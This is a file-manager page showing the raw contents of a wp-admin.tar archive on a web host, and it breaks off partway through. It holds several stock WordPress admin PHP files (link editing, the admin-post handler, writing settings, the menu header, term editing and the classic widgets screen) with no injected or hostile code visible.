File manager - Edit - /home/dxgrqzvp/public_html/hairbymimmie/NewFolder/wp-admin/wp-admin.tar
Back
edit-link-form.php 0000644 00000014322 15233246126 0010104 0 ustar 00 <?php /** * Edit links form for inclusion in administration panels. * * @package WordPress * @subpackage Administration */ // Don't load directly. if ( ! defined( 'ABSPATH' ) ) { die( '-1' ); } if ( ! empty( $link_id ) ) { /* translators: %s: URL to Links screen. */ $heading = sprintf( __( '<a href="%s">Links</a> / Edit Link' ), 'link-manager.php' ); $submit_text = __( 'Update Link' ); $form_name = 'editlink'; $nonce_action = 'update-bookmark_' . $link_id; } else { /* translators: %s: URL to Links screen. */ $heading = sprintf( __( '<a href="%s">Links</a> / Add Link' ), 'link-manager.php' ); $submit_text = __( 'Add Link' ); $form_name = 'addlink'; $nonce_action = 'add-bookmark'; } require_once ABSPATH . 'wp-admin/includes/meta-boxes.php'; add_meta_box( 'linksubmitdiv', __( 'Save' ), 'link_submit_meta_box', null, 'side', 'core' ); add_meta_box( 'linkcategorydiv', __( 'Categories' ), 'link_categories_meta_box', null, 'normal', 'core' ); add_meta_box( 'linktargetdiv', __( 'Target' ), 'link_target_meta_box', null, 'normal', 'core' ); add_meta_box( 'linkxfndiv', __( 'Link Relationship (XFN)' ), 'link_xfn_meta_box', null, 'normal', 'core' ); add_meta_box( 'linkadvanceddiv', __( 'Advanced' ), 'link_advanced_meta_box', null, 'normal', 'core' ); /** This action is documented in wp-admin/includes/meta-boxes.php */ do_action( 'add_meta_boxes', 'link', $link ); /** * Fires when link-specific meta boxes are added. * * @since 3.0.0 * * @param object $link Link object. */ do_action( 'add_meta_boxes_link', $link ); /** This action is documented in wp-admin/includes/meta-boxes.php */ do_action( 'do_meta_boxes', 'link', 'normal', $link ); /** This action is documented in wp-admin/includes/meta-boxes.php */ do_action( 'do_meta_boxes', 'link', 'advanced', $link ); /** This action is documented in wp-admin/includes/meta-boxes.php */ do_action( 'do_meta_boxes', 'link', 'side', $link ); add_screen_option( 'layout_columns', array( 'max' => 2, 'default' => 2, ) ); get_current_screen()->add_help_tab( array( 'id' => 'overview', 'title' => __( 'Overview' ), 'content' => '<p>' . __( 'You can add or edit links on this screen by entering information in each of the boxes. Only the link’s web address and name (the text you want to display on your site as the link) are required fields.' ) . '</p>' . '<p>' . __( 'The boxes for link name, web address, and description have fixed positions, while the others may be repositioned using drag and drop. You can also hide boxes you do not use in the Screen Options tab, or minimize boxes by clicking on the title bar of the box.' ) . '</p>' . '<p>' . __( 'XFN stands for <a href="https://gmpg.org/xfn/">XHTML Friends Network</a>, which is optional. WordPress allows the generation of XFN attributes to show how you are related to the authors/owners of the site to which you are linking.' ) . '</p>', ) ); get_current_screen()->set_help_sidebar( '<p><strong>' . __( 'For more information:' ) . '</strong></p>' . '<p>' . __( '<a href="https://codex.wordpress.org/Links_Add_New_Screen">Documentation on Creating Links</a>' ) . '</p>' . '<p>' . __( '<a href="https://wordpress.org/support/forums/">Support forums</a>' ) . '</p>' ); require_once ABSPATH . 'wp-admin/admin-header.php'; ?> <div class="wrap"> <h1 class="wp-heading-inline"> <?php echo esc_html( $title ); ?> </h1> <a href="link-add.php" class="page-title-action"><?php echo esc_html__( 'Add Link' ); ?></a> <hr class="wp-header-end"> <?php if ( isset( $_GET['added'] ) ) { wp_admin_notice( __( 'Link added.' ), array( 'id' => 'message', 'additional_classes' => array( 'updated' ), 'dismissible' => true, ) ); } ?> <form name="<?php echo esc_attr( $form_name ); ?>" id="<?php echo esc_attr( $form_name ); ?>" method="post" action="link.php"> <?php if ( ! empty( $link_added ) ) { echo $link_added; } wp_nonce_field( $nonce_action ); wp_nonce_field( 'closedpostboxes', 'closedpostboxesnonce', false ); wp_nonce_field( 'meta-box-order', 'meta-box-order-nonce', false ); ?> <div id="poststuff"> <div id="post-body" class="metabox-holder columns-<?php echo ( 1 === get_current_screen()->get_columns() ) ? '1' : '2'; ?>"> <div id="post-body-content"> <div id="namediv" class="postbox"> <h2 class="postbox-header"><label for="link_name"><?php _ex( 'Name', 'link name' ); ?></label></h2> <div class="inside"> <input type="text" name="link_name" size="30" maxlength="255" value="<?php echo esc_attr( $link->link_name ); ?>" id="link_name" /> <p><?php _e( 'Example: Nifty blogging software' ); ?></p> </div> </div> <div id="addressdiv" class="postbox"> <h2 class="postbox-header"><label for="link_url"><?php _e( 'Web Address' ); ?></label></h2> <div class="inside"> <input type="text" name="link_url" size="30" maxlength="255" class="code" value="<?php echo esc_url( $link->link_url ); ?>" id="link_url" /> <p><?php _e( 'Example: <code>https://wordpress.org/</code> — do not forget the <code>https://</code>' ); ?></p> </div> </div> <div id="descriptiondiv" class="postbox"> <h2 class="postbox-header"><label for="link_description"><?php _e( 'Description' ); ?></label></h2> <div class="inside"> <input type="text" name="link_description" size="30" maxlength="255" value="<?php echo isset( $link->link_description ) ? esc_attr( $link->link_description ) : ''; ?>" id="link_description" /> <p><?php _e( 'This will be shown when someone hovers over the link in the blogroll, or optionally below the link.' ); ?></p> </div> </div> </div><!-- /post-body-content --> <div id="postbox-container-1" class="postbox-container"> <?php /** This action is documented in wp-admin/includes/meta-boxes.php */ do_action( 'submitlink_box' ); $side_meta_boxes = do_meta_boxes( 'link', 'side', $link ); ?> </div> <div id="postbox-container-2" class="postbox-container"> <?php do_meta_boxes( null, 'normal', $link ); do_meta_boxes( null, 'advanced', $link ); ?> </div> <?php if ( $link_id ) : ?> <input type="hidden" name="action" value="save" /> <input type="hidden" name="link_id" value="<?php echo (int) $link_id; ?>" /> <input type="hidden" name="cat_id" value="<?php echo (int) $cat_id; ?>" /> <?php else : ?> <input type="hidden" name="action" value="add" /> <?php endif; ?> </div> </div> </form> </div> admin-post.php 0000644 00000003745 15233246126 0007345 0 ustar 00 <?php /** * WordPress Generic Request (POST/GET) Handler * * Intended for form submission handling in themes and plugins. * * @package WordPress * @subpackage Administration */ /** We are located in WordPress Administration Screens */ if ( ! defined( 'WP_ADMIN' ) ) { define( 'WP_ADMIN', true ); } /** Load WordPress Bootstrap */ require_once dirname( __DIR__ ) . '/wp-load.php'; /** Allow for cross-domain requests (from the front end). */ send_origin_headers(); require_once ABSPATH . 'wp-admin/includes/admin.php'; nocache_headers(); /** This action is documented in wp-admin/admin.php */ do_action( 'admin_init' ); $action = ! empty( $_REQUEST['action'] ) ? sanitize_text_field( $_REQUEST['action'] ) : ''; // Reject invalid parameters. if ( ! is_scalar( $action ) ) { wp_die( '', 400 ); } if ( ! is_user_logged_in() ) { if ( empty( $action ) ) { /** * Fires on a non-authenticated admin post request where no action is supplied. * * @since 2.6.0 */ do_action( 'admin_post_nopriv' ); } else { // If no action is registered, return a Bad Request response. if ( ! has_action( "admin_post_nopriv_{$action}" ) ) { wp_die( '', 400 ); } /** * Fires on a non-authenticated admin post request for the given action. * * The dynamic portion of the hook name, `$action`, refers to the given * request action. * * @since 2.6.0 */ do_action( "admin_post_nopriv_{$action}" ); } } else { if ( empty( $action ) ) { /** * Fires on an authenticated admin post request where no action is supplied. * * @since 2.6.0 */ do_action( 'admin_post' ); } else { // If no action is registered, return a Bad Request response. if ( ! has_action( "admin_post_{$action}" ) ) { wp_die( '', 400 ); } /** * Fires on an authenticated admin post request for the given action. * * The dynamic portion of the hook name, `$action`, refers to the given * request action. * * @since 2.6.0 */ do_action( "admin_post_{$action}" ); } } options-writing.php 0000644 00000022153 15233246126 0010440 0 ustar 00 <?php /** * Writing settings administration panel. * * @package WordPress * @subpackage Administration */ /** WordPress Administration Bootstrap */ require_once __DIR__ . '/admin.php'; if ( ! current_user_can( 'manage_options' ) ) { wp_die( __( 'Sorry, you are not allowed to manage options for this site.' ) ); } // Used in the HTML title tag. $title = __( 'Writing Settings' ); $parent_file = 'options-general.php'; get_current_screen()->add_help_tab( array( 'id' => 'overview', 'title' => __( 'Overview' ), 'content' => '<p>' . __( 'You can submit content in several different ways; this screen holds the settings for all of them. The top section controls the editor within the dashboard, while the rest control external publishing methods. For more information on any of these methods, use the documentation links.' ) . '</p>' . '<p>' . __( 'You must click the Save Changes button at the bottom of the screen for new settings to take effect.' ) . '</p>', ) ); /** This filter is documented in wp-admin/options.php */ if ( apply_filters( 'enable_post_by_email_configuration', true ) ) { get_current_screen()->add_help_tab( array( 'id' => 'options-postemail', 'title' => __( 'Post Via Email' ), 'content' => '<p>' . __( 'Post via email settings allow you to send your WordPress installation an email with the content of your post. You must set up a secret email account with POP3 access to use this, and any mail received at this address will be posted, so it’s a good idea to keep this address very secret.' ) . '</p>', ) ); } /** This filter is documented in wp-admin/options-writing.php */ if ( apply_filters( 'enable_update_services_configuration', true ) ) { get_current_screen()->add_help_tab( array( 'id' => 'options-services', 'title' => __( 'Update Services' ), 'content' => '<p>' . __( 'If desired, WordPress will automatically alert various services of your new posts.' ) . '</p>', ) ); } get_current_screen()->set_help_sidebar( '<p><strong>' . __( 'For more information:' ) . '</strong></p>' . '<p>' . __( '<a href="https://wordpress.org/documentation/article/settings-writing-screen/">Documentation on Writing Settings</a>' ) . '</p>' . '<p>' . __( '<a href="https://wordpress.org/support/forums/">Support forums</a>' ) . '</p>' ); wp_enqueue_script( 'user-profile' ); require_once ABSPATH . 'wp-admin/admin-header.php'; ?> <div class="wrap"> <h1><?php echo esc_html( $title ); ?></h1> <form method="post" action="options.php"> <?php settings_fields( 'writing' ); ?> <table class="form-table" role="presentation"> <?php if ( get_site_option( 'initial_db_version' ) < 32453 ) : ?> <?php $formatting_title = __( 'Formatting' ); ?> <tr> <th scope="row"><?php echo $formatting_title; ?></th> <td><fieldset><legend class="screen-reader-text"><span><?php echo $formatting_title; ?></span></legend> <label for="use_smilies"> <input name="use_smilies" type="checkbox" id="use_smilies" value="1" <?php checked( '1', get_option( 'use_smilies' ) ); ?> /> <?php _e( 'Convert emoticons like <code>:-)</code> and <code>:-P</code> to graphics on display' ); ?></label><br /> <label for="use_balanceTags"><input name="use_balanceTags" type="checkbox" id="use_balanceTags" value="1" <?php checked( '1', get_option( 'use_balanceTags' ) ); ?> /> <?php _e( 'WordPress should correct invalidly nested XHTML automatically' ); ?></label> </fieldset></td> </tr> <?php endif; ?> <tr> <th scope="row"><label for="default_category"><?php _e( 'Default Post Category' ); ?></label></th> <td> <?php wp_dropdown_categories( array( 'hide_empty' => 0, 'name' => 'default_category', 'orderby' => 'name', 'selected' => get_option( 'default_category' ), 'hierarchical' => true, ) ); ?> </td> </tr> <?php $post_formats = get_post_format_strings(); unset( $post_formats['standard'] ); ?> <tr> <th scope="row"><label for="default_post_format"><?php _e( 'Default Post Format' ); ?></label></th> <td> <select name="default_post_format" id="default_post_format"> <option value="0"><?php echo get_post_format_string( 'standard' ); ?></option> <?php foreach ( $post_formats as $format_slug => $format_name ) : ?> <option<?php selected( get_option( 'default_post_format' ), $format_slug ); ?> value="<?php echo esc_attr( $format_slug ); ?>"><?php echo esc_html( $format_name ); ?></option> <?php endforeach; ?> </select> </td> </tr> <?php if ( get_option( 'link_manager_enabled' ) ) : ?> <tr> <th scope="row"><label for="default_link_category"><?php _e( 'Default Link Category' ); ?></label></th> <td> <?php wp_dropdown_categories( array( 'hide_empty' => 0, 'name' => 'default_link_category', 'orderby' => 'name', 'selected' => get_option( 'default_link_category' ), 'hierarchical' => true, 'taxonomy' => 'link_category', ) ); ?> </td> </tr> <?php endif; ?> <?php do_settings_fields( 'writing', 'default' ); do_settings_fields( 'writing', 'remote_publishing' ); // A deprecated section. ?> </table> <?php /** This filter is documented in wp-admin/options.php */ if ( apply_filters( 'enable_post_by_email_configuration', true ) ) { ?> <h2 class="title"><?php _e( 'Post via email' ); ?></h2> <p> <?php printf( /* translators: 1, 2, 3: Examples of random email addresses. */ __( 'To post to WordPress by email, you must set up a secret email account with POP3 access. Any mail received at this address will be posted, so it’s a good idea to keep this address very secret. Here are three random strings you could use: %1$s, %2$s, %3$s.' ), sprintf( '<kbd>%s</kbd>', wp_generate_password( 8, false ) ), sprintf( '<kbd>%s</kbd>', wp_generate_password( 8, false ) ), sprintf( '<kbd>%s</kbd>', wp_generate_password( 8, false ) ) ); ?> </p> <table class="form-table" role="presentation"> <tr> <th scope="row"><label for="mailserver_url"><?php _e( 'Mail Server' ); ?></label></th> <td><input name="mailserver_url" type="text" id="mailserver_url" value="<?php form_option( 'mailserver_url' ); ?>" class="regular-text code" /> <label for="mailserver_port"><?php _e( 'Port' ); ?></label> <input name="mailserver_port" type="text" id="mailserver_port" value="<?php form_option( 'mailserver_port' ); ?>" class="small-text" /> </td> </tr> <tr> <th scope="row"><label for="mailserver_login"><?php _e( 'Login Name' ); ?></label></th> <td><input name="mailserver_login" type="text" id="mailserver_login" value="<?php form_option( 'mailserver_login' ); ?>" class="regular-text ltr" /></td> </tr> <tr class="mailserver-pass-wrap"> <th scope="row"> <label for="mailserver_pass"> <?php _e( 'Password' ); ?> </label> </th> <td> <input type="hidden" value=" " /><!-- #24364 workaround --> <span class="wp-pwd"> <input type="text" name="mailserver_pass" id="mailserver_pass" class="regular-text ltr" autocomplete="off" data-reveal="1" data-pw="<?php echo esc_attr( get_option( 'mailserver_pass' ) ); ?>" /> <button type="button" class="button wp-hide-pw hide-if-no-js" data-toggle="0" data-start-masked="1" aria-label="<?php esc_attr_e( 'Hide password' ); ?>"> <span class="dashicons dashicons-visibility" aria-hidden="true"></span> </button> </span> </td> </tr> <tr> <th scope="row"><label for="default_email_category"><?php _e( 'Default Mail Category' ); ?></label></th> <td> <?php wp_dropdown_categories( array( 'hide_empty' => 0, 'name' => 'default_email_category', 'orderby' => 'name', 'selected' => get_option( 'default_email_category' ), 'hierarchical' => true, ) ); ?> </td> </tr> <?php do_settings_fields( 'writing', 'post_via_email' ); ?> </table> <?php } ?> <?php /** * Filters whether to enable the Update Services section in the Writing settings screen. * * @since 3.0.0 * * @param bool $enable Whether to enable the Update Services settings area. Default true. */ if ( apply_filters( 'enable_update_services_configuration', true ) ) { ?> <h2 class="title"><?php _e( 'Update Services' ); ?></h2> <?php if ( '1' === get_option( 'blog_public' ) ) : ?> <p><label for="ping_sites"> <?php printf( /* translators: %s: Documentation URL. */ __( 'When you publish a new post, WordPress automatically notifies the following site update services. For more about this, see the <a href="%s">Update Services</a> documentation article. Separate multiple service URLs with line breaks.' ), __( 'https://developer.wordpress.org/advanced-administration/wordpress/update-services/' ) ); ?> </label></p> <textarea name="ping_sites" id="ping_sites" class="large-text code" rows="3"><?php echo esc_textarea( get_option( 'ping_sites' ) ); ?></textarea> <?php else : ?> <p> <?php printf( /* translators: 1: Documentation URL, 2: URL to Reading Settings screen. */ __( 'WordPress is not notifying any <a href="%1$s">Update Services</a> because of your site’s <a href="%2$s">visibility settings</a>.' ), __( 'https://developer.wordpress.org/advanced-administration/wordpress/update-services/' ), 'options-reading.php' ); ?> </p> <?php endif; ?> <?php } // enable_update_services_configuration ?> <?php do_settings_sections( 'writing' ); ?> <?php submit_button(); ?> </form> </div> <?php require_once ABSPATH . 'wp-admin/admin-footer.php'; ?> menu-header.php 0000644 00000023513 15233246126 0007457 0 ustar 00 <?php /** * Displays Administration Menu. * * @package WordPress * @subpackage Administration */ // Don't load directly. if ( ! defined( 'ABSPATH' ) ) { die( '-1' ); } /** * The current page. * * @global string $self */ $self = preg_replace( '|^.*/wp-admin/network/|i', '', $_SERVER['PHP_SELF'] ); $self = preg_replace( '|^.*/wp-admin/|i', '', $self ); $self = preg_replace( '|^.*/plugins/|i', '', $self ); $self = preg_replace( '|^.*/mu-plugins/|i', '', $self ); /** * For when admin-header is included from within a function. * * @global array $menu * @global array $submenu * @global string $parent_file * @global string $submenu_file */ global $menu, $submenu, $parent_file, $submenu_file; /** * Filters the parent file of an admin menu sub-menu item. * * Allows plugins to move sub-menu items around. * * @since MU (3.0.0) * * @param string $parent_file The parent file. */ $parent_file = apply_filters( 'parent_file', $parent_file ); /** * Filters the file of an admin menu sub-menu item. * * @since 4.4.0 * * @param string $submenu_file The submenu file. * @param string $parent_file The submenu item's parent file. */ $submenu_file = apply_filters( 'submenu_file', $submenu_file, $parent_file ); get_admin_page_parent(); /** * Display menu. * * @access private * @since 2.7.0 * * @global string $self * @global string $parent_file * @global string $submenu_file * @global string $plugin_page * @global string $typenow The post type of the current screen. * * @param array $menu * @param array $submenu * @param bool $submenu_as_parent */ function _wp_menu_output( $menu, $submenu, $submenu_as_parent = true ) { global $self, $parent_file, $submenu_file, $plugin_page, $typenow; $first = true; // 0 = menu_title, 1 = capability, 2 = menu_slug, 3 = page_title, 4 = classes, 5 = hookname, 6 = icon_url. foreach ( $menu as $key => $item ) { $admin_is_parent = false; $class = array(); $aria_attributes = ''; $aria_hidden = ''; $is_separator = false; if ( $first ) { $class[] = 'wp-first-item'; $first = false; } $submenu_items = array(); if ( ! empty( $submenu[ $item[2] ] ) ) { $class[] = 'wp-has-submenu'; $submenu_items = $submenu[ $item[2] ]; } if ( ( $parent_file && $item[2] === $parent_file ) || ( empty( $typenow ) && $self === $item[2] ) ) { if ( ! empty( $submenu_items ) ) { $class[] = 'wp-has-current-submenu wp-menu-open'; } else { $class[] = 'current'; $aria_attributes .= 'aria-current="page"'; } } else { $class[] = 'wp-not-current-submenu'; if ( ! empty( $submenu_items ) ) { $aria_attributes .= 'data-ariahaspopup'; } } if ( ! empty( $item[4] ) ) { $class[] = esc_attr( $item[4] ); } $class = $class ? ' class="' . implode( ' ', $class ) . '"' : ''; $id = ! empty( $item[5] ) ? ' id="' . preg_replace( '|[^a-zA-Z0-9_:.]|', '-', $item[5] ) . '"' : ''; $img = ''; $img_style = ''; $img_class = ' dashicons-before'; if ( str_contains( $class, 'wp-menu-separator' ) ) { $is_separator = true; } /* * If the string 'none' (previously 'div') is passed instead of a URL, don't output * the default menu image so an icon can be added to div.wp-menu-image as background * with CSS. Dashicons and base64-encoded data:image/svg_xml URIs are also handled * as special cases. */ if ( ! empty( $item[6] ) ) { $img = '<img src="' . esc_url( $item[6] ) . '" alt="" />'; if ( 'none' === $item[6] || 'div' === $item[6] ) { $img = '<br />'; } elseif ( str_starts_with( $item[6], 'data:image/svg+xml;base64,' ) ) { $img = '<br />'; // The value is base64-encoded data, so esc_attr() is used here instead of esc_url(). $img_style = ' style="background-image:url(\'' . esc_attr( $item[6] ) . '\')"'; $img_class = ' svg'; } elseif ( str_starts_with( $item[6], 'dashicons-' ) ) { $img = '<br />'; $img_class = ' dashicons-before ' . sanitize_html_class( $item[6] ); } } $title = wptexturize( $item[0] ); // Hide separators from screen readers. if ( $is_separator ) { $aria_hidden = ' aria-hidden="true"'; } echo "\n\t<li$class$id$aria_hidden>"; if ( $is_separator ) { echo '<div class="separator"></div>'; } elseif ( $submenu_as_parent && ! empty( $submenu_items ) ) { $submenu_items = array_values( $submenu_items ); // Re-index. $menu_hook = get_plugin_page_hook( $submenu_items[0][2], $item[2] ); $menu_file = $submenu_items[0][2]; $pos = strpos( $menu_file, '?' ); if ( false !== $pos ) { $menu_file = substr( $menu_file, 0, $pos ); } if ( ! empty( $menu_hook ) || ( ( 'index.php' !== $submenu_items[0][2] ) && file_exists( WP_PLUGIN_DIR . "/$menu_file" ) && ! file_exists( ABSPATH . "/wp-admin/$menu_file" ) ) ) { $admin_is_parent = true; echo "<a href='admin.php?page={$submenu_items[0][2]}'$class $aria_attributes><div class='wp-menu-image$img_class'$img_style aria-hidden='true'>$img</div><div class='wp-menu-name'>$title</div></a>"; } else { echo "\n\t<a href='{$submenu_items[0][2]}'$class $aria_attributes><div class='wp-menu-image$img_class'$img_style aria-hidden='true'>$img</div><div class='wp-menu-name'>$title</div></a>"; } } elseif ( ! empty( $item[2] ) && current_user_can( $item[1] ) ) { $menu_hook = get_plugin_page_hook( $item[2], 'admin.php' ); $menu_file = $item[2]; $pos = strpos( $menu_file, '?' ); if ( false !== $pos ) { $menu_file = substr( $menu_file, 0, $pos ); } if ( ! empty( $menu_hook ) || ( ( 'index.php' !== $item[2] ) && file_exists( WP_PLUGIN_DIR . "/$menu_file" ) && ! file_exists( ABSPATH . "/wp-admin/$menu_file" ) ) ) { $admin_is_parent = true; echo "\n\t<a href='admin.php?page={$item[2]}'$class $aria_attributes><div class='wp-menu-image$img_class'$img_style aria-hidden='true'>$img</div><div class='wp-menu-name'>{$item[0]}</div></a>"; } else { echo "\n\t<a href='{$item[2]}'$class $aria_attributes><div class='wp-menu-image$img_class'$img_style aria-hidden='true'>$img</div><div class='wp-menu-name'>{$item[0]}</div></a>"; } } if ( ! empty( $submenu_items ) ) { echo "\n\t<ul class='wp-submenu wp-submenu-wrap'>"; echo "<li class='wp-submenu-head' aria-hidden='true'>{$item[0]}</li>"; $first = true; // 0 = menu_title, 1 = capability, 2 = menu_slug, 3 = page_title, 4 = classes. foreach ( $submenu_items as $sub_key => $sub_item ) { if ( ! current_user_can( $sub_item[1] ) ) { continue; } $class = array(); $aria_attributes = ''; if ( $first ) { $class[] = 'wp-first-item'; $first = false; } $menu_file = $item[2]; $pos = strpos( $menu_file, '?' ); if ( false !== $pos ) { $menu_file = substr( $menu_file, 0, $pos ); } // Handle current for post_type=post|page|foo pages, which won't match $self. $self_type = ! empty( $typenow ) ? $self . '?post_type=' . $typenow : 'nothing'; if ( isset( $submenu_file ) ) { if ( $submenu_file === $sub_item[2] ) { $class[] = 'current'; $aria_attributes .= ' aria-current="page"'; } /* * If plugin_page is set the parent must either match the current page or not physically exist. * This allows plugin pages with the same hook to exist under different parents. */ } elseif ( ( ! isset( $plugin_page ) && $self === $sub_item[2] ) || ( isset( $plugin_page ) && $plugin_page === $sub_item[2] && ( $item[2] === $self_type || $item[2] === $self || file_exists( $menu_file ) === false ) ) ) { $class[] = 'current'; $aria_attributes .= ' aria-current="page"'; } if ( ! empty( $sub_item[4] ) ) { $class[] = esc_attr( $sub_item[4] ); } $class = $class ? ' class="' . implode( ' ', $class ) . '"' : ''; $menu_hook = get_plugin_page_hook( $sub_item[2], $item[2] ); $sub_file = $sub_item[2]; $pos = strpos( $sub_file, '?' ); if ( false !== $pos ) { $sub_file = substr( $sub_file, 0, $pos ); } $title = wptexturize( $sub_item[0] ); if ( ! empty( $menu_hook ) || ( ( 'index.php' !== $sub_item[2] ) && file_exists( WP_PLUGIN_DIR . "/$sub_file" ) && ! file_exists( ABSPATH . "/wp-admin/$sub_file" ) ) ) { // If admin.php is the current page or if the parent exists as a file in the plugins or admin directory. if ( ( ! $admin_is_parent && file_exists( WP_PLUGIN_DIR . "/$menu_file" ) && ! is_dir( WP_PLUGIN_DIR . "/{$item[2]}" ) ) || file_exists( $menu_file ) ) { $sub_item_url = add_query_arg( array( 'page' => $sub_item[2] ), $item[2] ); } else { $sub_item_url = add_query_arg( array( 'page' => $sub_item[2] ), 'admin.php' ); } $sub_item_url = esc_url( $sub_item_url ); echo "<li$class><a href='$sub_item_url'$class$aria_attributes>$title</a></li>"; } else { echo "<li$class><a href='{$sub_item[2]}'$class$aria_attributes>$title</a></li>"; } } echo '</ul>'; } echo '</li>'; } echo '<li id="collapse-menu" class="hide-if-no-js">' . '<button type="button" id="collapse-button" aria-label="' . esc_attr__( 'Collapse Main Menu' ) . '" aria-expanded="true">' . '<span class="collapse-button-icon" aria-hidden="true"></span>' . '<span class="collapse-button-label">' . __( 'Collapse Menu' ) . '</span>' . '</button></li>'; } ?> <div id="adminmenumain" role="navigation" aria-label="<?php esc_attr_e( 'Main menu' ); ?>"> <a href="#wpbody-content" class="screen-reader-shortcut"><?php _e( 'Skip to main content' ); ?></a> <a href="#wp-toolbar" class="screen-reader-shortcut"><?php _e( 'Skip to toolbar' ); ?></a> <div id="adminmenuback"></div> <div id="adminmenuwrap"> <ul id="adminmenu"> <?php _wp_menu_output( $menu, $submenu ); /** * Fires after the admin menu has been output. * * @since 2.5.0 */ do_action( 'adminmenu' ); ?> </ul> </div> </div> term.php 0000644 00000004311 15233246126 0006227 0 ustar 00 <?php /** * Edit Term Administration Screen. * * @package WordPress * @subpackage Administration * @since 4.5.0 */ /** WordPress Administration Bootstrap */ require_once __DIR__ . '/admin.php'; if ( empty( $_REQUEST['tag_ID'] ) ) { $sendback = admin_url( 'edit-tags.php' ); if ( ! empty( $taxnow ) ) { $sendback = add_query_arg( array( 'taxonomy' => $taxnow ), $sendback ); } if ( 'post' !== get_current_screen()->post_type ) { $sendback = add_query_arg( 'post_type', get_current_screen()->post_type, $sendback ); } wp_redirect( sanitize_url( $sendback ) ); exit; } $tag_ID = absint( $_REQUEST['tag_ID'] ); $tag = get_term( $tag_ID, $taxnow, OBJECT, 'edit' ); if ( ! $tag instanceof WP_Term ) { wp_die( __( 'You attempted to edit an item that does not exist. Perhaps it was deleted?' ) ); } $tax = get_taxonomy( $tag->taxonomy ); $taxonomy = $tax->name; $title = $tax->labels->edit_item; if ( ! in_array( $taxonomy, get_taxonomies( array( 'show_ui' => true ) ), true ) || ! current_user_can( 'edit_term', $tag->term_id ) ) { wp_die( '<h1>' . __( 'You need a higher level of permission.' ) . '</h1>' . '<p>' . __( 'Sorry, you are not allowed to edit this item.' ) . '</p>', 403 ); } $post_type = get_current_screen()->post_type; // Default to the first object_type associated with the taxonomy if no post type was passed. if ( empty( $post_type ) ) { $post_type = reset( $tax->object_type ); } if ( 'post' !== $post_type ) { $parent_file = ( 'attachment' === $post_type ) ? 'upload.php' : "edit.php?post_type=$post_type"; $submenu_file = "edit-tags.php?taxonomy=$taxonomy&post_type=$post_type"; } elseif ( 'link_category' === $taxonomy ) { $parent_file = 'link-manager.php'; $submenu_file = 'edit-tags.php?taxonomy=link_category'; } else { $parent_file = 'edit.php'; $submenu_file = "edit-tags.php?taxonomy=$taxonomy"; } get_current_screen()->set_screen_reader_content( array( 'heading_pagination' => $tax->labels->items_list_navigation, 'heading_list' => $tax->labels->items_list, ) ); wp_enqueue_script( 'admin-tags' ); require_once ABSPATH . 'wp-admin/admin-header.php'; require ABSPATH . 'wp-admin/edit-tag-form.php'; require_once ABSPATH . 'wp-admin/admin-footer.php'; widgets-form.php 0000644 00000046213 15233246126 0007676 0 ustar 00 <?php /** * The classic widget administration screen, for use in widgets.php. * * @package WordPress * @subpackage Administration */ // Don't load directly. if ( ! defined( 'ABSPATH' ) ) { die( '-1' ); } $widgets_access = get_user_setting( 'widgets_access' ); if ( isset( $_GET['widgets-access'] ) ) { check_admin_referer( 'widgets-access' ); $widgets_access = 'on' === $_GET['widgets-access'] ? 'on' : 'off'; set_user_setting( 'widgets_access', $widgets_access ); } if ( 'on' === $widgets_access ) { add_filter( 'admin_body_class', 'wp_widgets_access_body_class' ); } else { wp_enqueue_script( 'admin-widgets' ); if ( wp_is_mobile() ) { wp_enqueue_script( 'jquery-touch-punch' ); } } /** * Fires early before the Widgets administration screen loads, * after scripts are enqueued. * * @since 2.2.0 */ do_action( 'sidebar_admin_setup' ); get_current_screen()->add_help_tab( array( 'id' => 'overview', 'title' => __( 'Overview' ), 'content' => '<p>' . __( 'Widgets are independent sections of content that can be placed into any widgetized area provided by your theme (commonly called sidebars). To populate your sidebars/widget areas with individual widgets, drag and drop the title bars into the desired area. By default, only the first widget area is expanded. To populate additional widget areas, click on their title bars to expand them.' ) . '</p> <p>' . __( 'The Available Widgets section contains all the widgets you can choose from. Once you drag a widget into a sidebar, it will open to allow you to configure its settings. When you are happy with the widget settings, click the Save button and the widget will go live on your site. If you click Delete, it will remove the widget.' ) . '</p>', ) ); get_current_screen()->add_help_tab( array( 'id' => 'removing-reusing', 'title' => __( 'Removing and Reusing' ), 'content' => '<p>' . __( 'If you want to remove the widget but save its setting for possible future use, just drag it into the Inactive Widgets area. You can add them back anytime from there. This is especially helpful when you switch to a theme with fewer or different widget areas.' ) . '</p> <p>' . __( 'Widgets may be used multiple times. You can give each widget a title, to display on your site, but it’s not required.' ) . '</p> <p>' . __( 'Enabling Accessibility Mode, via Screen Options, allows you to use Add and Edit buttons instead of using drag and drop.' ) . '</p>', ) ); get_current_screen()->add_help_tab( array( 'id' => 'missing-widgets', 'title' => __( 'Missing Widgets' ), 'content' => '<p>' . __( 'Many themes show some sidebar widgets by default until you edit your sidebars, but they are not automatically displayed in your sidebar management tool. After you make your first widget change, you can re-add the default widgets by adding them from the Available Widgets area.' ) . '</p>' . '<p>' . __( 'When changing themes, there is often some variation in the number and setup of widget areas/sidebars and sometimes these conflicts make the transition a bit less smooth. If you changed themes and seem to be missing widgets, scroll down on this screen to the Inactive Widgets area, where all of your widgets and their settings will have been saved.' ) . '</p>', ) ); get_current_screen()->set_help_sidebar( '<p><strong>' . __( 'For more information:' ) . '</strong></p>' . '<p>' . __( '<a href="https://wordpress.org/documentation/article/appearance-widgets-screen-classic-editor/">Documentation on Widgets</a>' ) . '</p>' . '<p>' . __( '<a href="https://wordpress.org/support/forums/">Support forums</a>' ) . '</p>' ); // These are the widgets grouped by sidebar. $sidebars_widgets = wp_get_sidebars_widgets(); if ( empty( $sidebars_widgets ) ) { $sidebars_widgets = wp_get_widget_defaults(); } foreach ( $sidebars_widgets as $sidebar_id => $widgets ) { if ( 'wp_inactive_widgets' === $sidebar_id ) { continue; } if ( ! is_registered_sidebar( $sidebar_id ) ) { if ( ! empty( $widgets ) ) { // Register the inactive_widgets area as sidebar. register_sidebar( array( 'name' => __( 'Inactive Sidebar (not used)' ), 'id' => $sidebar_id, 'class' => 'inactive-sidebar orphan-sidebar', 'description' => __( 'This sidebar is no longer available and does not show anywhere on your site. Remove each of the widgets below to fully remove this inactive sidebar.' ), 'before_widget' => '', 'after_widget' => '', 'before_title' => '', 'after_title' => '', ) ); } else { unset( $sidebars_widgets[ $sidebar_id ] ); } } } // Register the inactive_widgets area as sidebar. register_sidebar( array( 'name' => __( 'Inactive Widgets' ), 'id' => 'wp_inactive_widgets', 'class' => 'inactive-sidebar', 'description' => __( 'Drag widgets here to remove them from the sidebar but keep their settings.' ), 